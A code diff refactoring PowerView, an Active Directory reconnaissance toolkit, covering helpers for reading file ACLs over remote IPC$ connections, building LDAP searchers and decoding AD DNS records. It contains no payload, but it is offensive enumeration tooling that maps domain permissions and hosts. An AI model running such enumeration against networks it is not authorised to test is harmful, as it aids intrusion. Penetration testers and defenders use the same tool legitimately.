$SimplePermissions.Keys | % { + $Permissions += $SimplePermissions.Keys | ForEach-Object { if (($FSR -band $_) -eq $_) { $SimplePermissions[$_] $FSR = $FSR -band (-not $_) @@ -1475,134 +2659,89 @@ function Get-PathAcl { } # get remaining extended permissions - $Permissions += $AccessMask.Keys | - ? { $FSR -band $_ } | - % { $AccessMask[$_] } - - ($Permissions | ?{$_}) -join "," + $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } + ($Permissions | Where-Object {$_}) -join ',' } - } - - process { - - try { - $ACL = Get-Acl -Path $Path - - $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { - $Names = @() - if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { - $Object = Get-ADObject -SID $_.IdentityReference - $Names = @() - $SIDs = @($Object.objectsid) + $ConvertArguments = @{} + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } - if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { - $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid - } + $MappedComputers = @{} + } - $SIDs | ForEach-Object { - $Names += ,@($_, (Convert-SidToName $_)) + PROCESS { + ForEach ($TargetPath in $Path) { + try { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True } } - else { - $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) - } - ForEach($Name in $Names) { + $ACL = Get-Acl -Path $TargetPath + + $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + $SID = $_.IdentityReference.Value + $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments + $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'Path' $TargetPath $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) - $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] - $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] + $Out | Add-Member Noteproperty 'IdentityReference' $Name + $Out | Add-Member Noteproperty 'IdentitySID' $SID $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') $Out } } - } - catch { - Write-Warning $_ + catch { + Write-Verbose "[Get-PathAcl] error: $_" + } } } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } } -filter Get-NameField { +function Convert-LDAPProperty { <# - .SYNOPSIS - - Helper that attempts to extract appropriate field names from - passed computer objects. - - .PARAMETER Object - - The passed object to extract name fields from. +.SYNOPSIS - .PARAMETER DnsHostName - - A DnsHostName to extract through ValueFromPipelineByPropertyName. +Helper that converts specific LDAP property result fields and outputs +a custom psobject. - .PARAMETER Name - - A Name to extract through ValueFromPipelineByPropertyName. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - .EXAMPLE - - PS C:\> Get-NetComputer -FullData | Get-NameField -#> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Object] - $Object, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [String] - $DnsHostName, +.DESCRIPTION - [Parameter(ValueFromPipelineByPropertyName = $True)] - [String] - $Name - ) +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Domain* function. - if($PSBoundParameters['DnsHostName']) { - $DnsHostName - } - elseif($PSBoundParameters['Name']) { - $Name - } - elseif($Object) { - if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputer - $Object.dnshostname - } - elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainController - $Object.name - } - else { - # strings and catch alls - $Object - } - } - else { - return $Null - } -} +.PARAMETER Properties +Properties object to extract out LDAP fields for display. -function Convert-LDAPProperty { -<# - .SYNOPSIS - - Helper that converts specific LDAP property result fields. - Used by several of the Get-Net* function. +.OUTPUTS - .PARAMETER Properties +System.Management.Automation.PSCustomObject - Properties object to extract out LDAP fields for display. +A custom PSObject with LDAP hashtable properties translated. #> - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] $Properties ) @@ -1610,857 +2749,1673 @@ function Convert-LDAPProperty { $ObjectProperties = @{} $Properties.PropertyNames | ForEach-Object { - if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { - # convert the SID to a string - $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value - } - elseif($_ -eq "objectguid") { - # convert the GUID to a string - $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { - # convert timestamps - if ($Properties[$_][0] -is [System.MarshalByRefObject]) { - # if we have a System.__ComObject - $Temp = $Properties[$_][0] - [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'ntsecuritydescriptor') { + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } } - else { - $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } } - } - elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { - # try to convert misc com objects - $Prop = $Properties[$_] - try { - $Temp = $Prop[$_][0] - Write-Verbose $_ - [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } } - catch { - $ObjectProperties[$_] = $Prop[$_] + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] } - } - elseif($Properties[$_].count -eq 1) { - $ObjectProperties[$_] = $Properties[$_][0] - } - else { - $ObjectProperties[$_] = $Properties[$_] } } - - New-Object -TypeName PSObject -Property $ObjectProperties + try { + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } } - ######################################################## # # Domain info functions below. # ######################################################## -filter Get-DomainSearcher { +function Get-DomainSearcher { <# - .SYNOPSIS +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - Helper used by various functions that takes an ADSpath and - domain specifier and builds the correct ADSI searcher object. +.PARAMETER ResultPageSize - .PARAMETER Domain +Specifies the PageSize to set for the LDAP searcher object. - The domain to use for the query, defaults to the current domain. +.PARAMETER ResultPageSize - .PARAMETER DomainController +Specifies the PageSize to set for the LDAP searcher object. - Domain controller to reflect LDAP queries through. +.PARAMETER ServerTimeLimit - .PARAMETER ADSpath +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER SecurityMasks - .PARAMETER ADSprefix +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") +.PARAMETER Tombstone - .PARAMETER PageSize +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The PageSize to set for the LDAP searcher object. +.PARAMETER Credential - .PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +Get-DomainSearcher -Domain testlab.local - PS C:\> Get-DomainSearcher -Domain testlab.local +Return a searcher for all objects in testlab.local. - .EXAMPLE +.EXAMPLE - PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher #> - param( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $DomainController, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $ADSpath, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSprefix, + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if(-not $Credential) { - if(-not $Domain) { - $Domain = (Get-NetDomain).name + PROCESS { + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain } - elseif(-not $DomainController) { + else { + # if not -Domain is specified, retrieve the current domain name + if ($PSBoundParameters['Credential']) { + $DomainObject = Get-Domain -Credential $Credential + } + else { + $DomainObject = Get-Domain + } + $TargetDomain = $DomainObject.Name + } + + if (-not $PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull the current domain PDC try { - # if there's no -DomainController specified, try to pull the primary DC to reflect queries through - $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + if ($DomainObject) { + $BindServer = $DomainObject.PdcRoleOwner.Name + } + elseif ($PSBoundParameters['Credential']) { + $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name + } + else { + $BindServer = ((Get-Domain).PdcRoleOwner).Name + } } catch { - throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" } } - } - elseif (-not $DomainController) { - # if a DC isn't specified - try { - $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name - } - catch { - throw "Get-DomainSearcher: Error in retrieving PDC for current domain" - } - - if(!$DomainController) { - throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + else { + $BindServer = $Server } - } - $SearchString = "LDAP://" + $SearchString = 'LDAP://' - if($DomainController) { - $SearchString += $DomainController - if($Domain){ - $SearchString += '/' + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } } - } - - if($ADSprefix) { - $SearchString += $ADSprefix + ',' - } - if($ADSpath) { - if($ADSpath -Match '^GC://') { - # if we're searching the global catalog - $DN = $AdsPath.ToUpper().Trim('/') - $SearchString = '' + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' } - else { - if($ADSpath -match '^LDAP://') { - if($ADSpath -match "LDAP://.+/.+") { - $SearchString = '' + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } } else { - $ADSpath = $ADSpath.Substring(7) + $DN = $SearchBase } } - $DN = $ADSpath } - } - else { - if($Domain -and ($Domain.Trim() -ne "")) { - $DN = "DC=$($Domain.Replace('.', ',DC='))" + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } } - } - $SearchString += $DN - Write-Verbose "Get-DomainSearcher search string: $SearchString" + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search string: $SearchString" - if($Credential) { - Write-Verbose "Using alternate credentials for LDAP connection" - $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) - } - else { - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) - } + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } - $Searcher.PageSize = $PageSize - $Searcher.CacheResults = $False - $Searcher + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } } -filter Convert-DNSRecord { +function Convert-DNSRecord { <# - .SYNOPSIS +.SYNOPSIS + +Helpers that decodes a binary DNS record blob. + +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - Decodes a binary DNS record. +.DESCRIPTION - Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +Decodes a binary blob representing an Active Directory DNS entry. +Used by Get-DomainDNSRecord. - .PARAMETER DNSRecord +Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - The domain to query for zones, defaults to the current domain. +.PARAMETER DNSRecord - .LINK +A byte array representing the DNS record. - https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs custom PSObjects with detailed information about the DNS record entry. + +.LINK + +https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 #> - param( - [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [Byte[]] $DNSRecord ) - function Get-Name { - # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - [CmdletBinding()] - param( - [Byte[]] - $Raw - ) + BEGIN { + function Get-Name { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] + [CmdletBinding()] + Param( + [Byte[]] + $Raw + ) - [Int]$Length = $Raw[0] - [Int]$Segments = $Raw[1] - [Int]$Index = 2 - [String]$Name = "" + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = '' - while ($Segments-- -gt 0) - { - [Int]$SegmentLength = $Raw[$Index++] - while ($SegmentLength-- -gt 0) { - $Name += [Char]$Raw[$Index++] + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." } - $Name += "." + $Name } - $Name } - $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) - $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) - $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + PROCESS { + # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) - $TTLRaw = $DNSRecord[12..15] - # reverse for big endian - $Null = [array]::Reverse($TTLRaw) - $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + $TTLRaw = $DNSRecord[12..15] - $Age = [BitConverter]::ToUInt32($DNSRecord, 20) - if($Age -ne 0) { - $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() - } - else { - $TimeStamp = "[static]" - } + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) - $DNSRecordObject = New-Object PSObject + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if ($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = '[static]' + } - if($RDataType -eq 1) { - $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] - $Data = $IP - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' - } + $DNSRecordObject = New-Object PSObject - elseif($RDataType -eq 2) { - $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $NSName - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' - } + if ($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } - elseif($RDataType -eq 5) { - $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $Alias - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' - } + elseif ($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } - elseif($RDataType -eq 6) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' - } + elseif ($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } - elseif($RDataType -eq 12) { - $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] - $Data = $Ptr - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' - } + elseif ($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } - elseif($RDataType -eq 13) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' - } + elseif ($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } - elseif($RDataType -eq 15) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' - } + elseif ($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } - elseif($RDataType -eq 16) { + elseif ($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif ($RDataType -eq 16) { + [string]$TXT = '' + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } - [string]$TXT = "" - [int]$SegmentLength = $DNSRecord[24] - $Index = 25 - while ($SegmentLength-- -gt 0) { - $TXT += [char]$DNSRecord[$index++] + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' } - $Data = $TXT - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' - } + elseif ($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } - elseif($RDataType -eq 28) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' - } + elseif ($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } - elseif($RDataType -eq 33) { - # TODO: how to implement properly? nested object? - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' - } + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } - else { - $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject } - - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Data - $DNSRecordObject } -filter Get-DNSZone { +function Get-DomainDNSZone { <# - .SYNOPSIS +.SYNOPSIS + +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties - Enumerates the Active Directory DNS zones for a given domain. +Specifies the properties of the output object to retrieve from the server. - .PARAMETER Domain +.PARAMETER ResultPageSize - The domain to query for zones, defaults to the current domain. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER DomainController +.PARAMETER ServerTimeLimit - Domain controller to reflect LDAP queries through. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER PageSize +.PARAMETER FindOne - The PageSize to set for the LDAP searcher object. +Only return one result object. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER FullData +.EXAMPLE - Switch. Return full computer objects instead of just system names (the default). +Get-DomainDNSZone - .EXAMPLE +Retrieves the DNS zones for the current domain. - PS C:\> Get-DNSZone +.EXAMPLE - Retrieves the DNS zones for the current domain. +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local - .EXAMPLE +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. - PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local +.OUTPUTS - Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries - through the primary.testlab.local domain controller. +PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. #> - param( - [Parameter(Position=0, ValueFromPipeline=$True)] + 